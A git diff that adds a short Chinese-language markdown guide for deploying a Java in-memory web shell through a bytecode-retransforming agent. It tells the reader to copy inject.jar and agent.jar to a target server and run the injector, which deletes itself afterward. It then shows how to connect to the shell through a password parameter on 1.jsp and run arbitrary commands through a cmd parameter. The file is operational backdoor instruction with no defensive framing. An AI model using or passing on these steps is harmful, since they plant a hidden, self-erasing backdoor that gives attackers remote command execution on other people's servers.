diff --git a/java/字节码增强型/retransform字节码.md b/java/字节码增强型/retransform字节码.md new file mode 100644 index 0000000..c56fac6 --- /dev/null +++ b/java/字节码增强型/retransform字节码.md @@ -0,0 +1,19 @@ +将release中的inject.jar agent.jar复制目标服务器。 + +运行inject.jar: + +(测试时注意备份,会删除自身和agent.jar) + +```jsp +java -jar inject.jar 123 +``` + +连接内存马: +```jsp +http://ip:port/1.jsp?pass_the_world=123&model=chopper +``` + +执行命令: +```jsp +http://ip:port/1.jsp?pass_the_world=123&model=exec&cmd=whoami +```